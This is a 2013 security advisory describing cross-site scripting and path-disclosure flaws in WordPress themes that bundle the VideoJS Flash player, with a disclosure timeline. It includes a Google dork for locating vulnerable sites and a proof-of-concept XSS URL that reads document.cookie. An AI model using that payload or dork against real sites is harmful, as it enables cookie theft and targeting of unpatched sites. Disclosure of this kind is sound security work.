SecurityvulnsSECURITYVULNS:DOC:29524Multiple vulnerabilities in multiple themes for WordPress with VideoJS
Hello 3APA3A!
These are Cross-Site Scripting and Full path disclosure vulnerabilities in multiple themes for WordPress with VideoJS. Earlier I've wrote about vulnerabilities in VideoJS (http://seclists.org/fulldisclosure/2013/May/21). This is popular video and audio player, which is used at hundreds thousands of web sites and in multiple web applications. Google dork for VideoJS shows 446000 results and for WP themes with it shows 171000 (inurl:video-js.swf inurl:wp-content/themes/).
Among them are Covert VideoPress, Photolio, Source, Smartstart and Crius. But there are other vulnerable themes for WP with video-js.swf (these are free, commercial and custom themes), which can be found with above-mentioned Google dork. All developers of these plugins, the same as developers of all other web applications with VideoJS, need to update it in their software.
Affected products:
All versions of Covert VideoPress, Photolio, Source, Smartstart and Crius themes.
Vulnerable are web applications which are using VideoJS Flash Component 3.0.2 and previous versions. Version VideoJS Flash Component 3.0.2 is not vulnerable to mentioned XSS hole, except XSS via JS callbacks (as it can be read in repository on github). Also there are bypass methods which work in the last version, but the developers haven't fixed them due to their low impact. So update to last version of VideoJS.swf.
Details:
Cross-Site Scripting (WASC-08):
There are themes with multiple flash media players: besides VideoJS they have jPlayer and JW Player. And such themes have all XSS and Content Spoofing vulnerabilities, which have jPlayer and JW Player (see my advisories for these flash applications).
Covert VideoPress:
Photolio:

Crius:

http://site/wp-content/themes/crius/js/video-js.swf?readyFunction=alert(document.cookie)
Full path disclosure (WASC-13):
All mentioned themes have FPD vulnerabilities in php-files (in index.php and others), which is typically for WP themes.

Timeline:
2013.02.07 - found XSS vulnerability.
2013.02.08 - informed developers of VideoJS about both vulnerabilities. They thanked and promised to fix it.
2013.02.23 - reminded VideoJS developers and asked for date of releasing the fix.
2013.03.09 - again reminded developers.
2013.03.26 - again reminded developers.
2013.04.08 - reminded developers on github and resent previous letter to Zencoder's developers (since Brightcove, which acquired Zencoder, ignored the hole for two months).
2013.04.08-30 - discussed with developers (on github and by e-mail). And made my own fix to force developers to fix the hole.
2013.04.30 - developers fixed XSS hole in VideoJS Flash Component 3.0.2 in source code on github.
2013.05.02 - developers compiled fixed version of swf (after my reminding) and uploaded to both repositories.
2013.05.02 - tested version 3.0.2 and found that developers haven't fixed the hole completely and informed them.
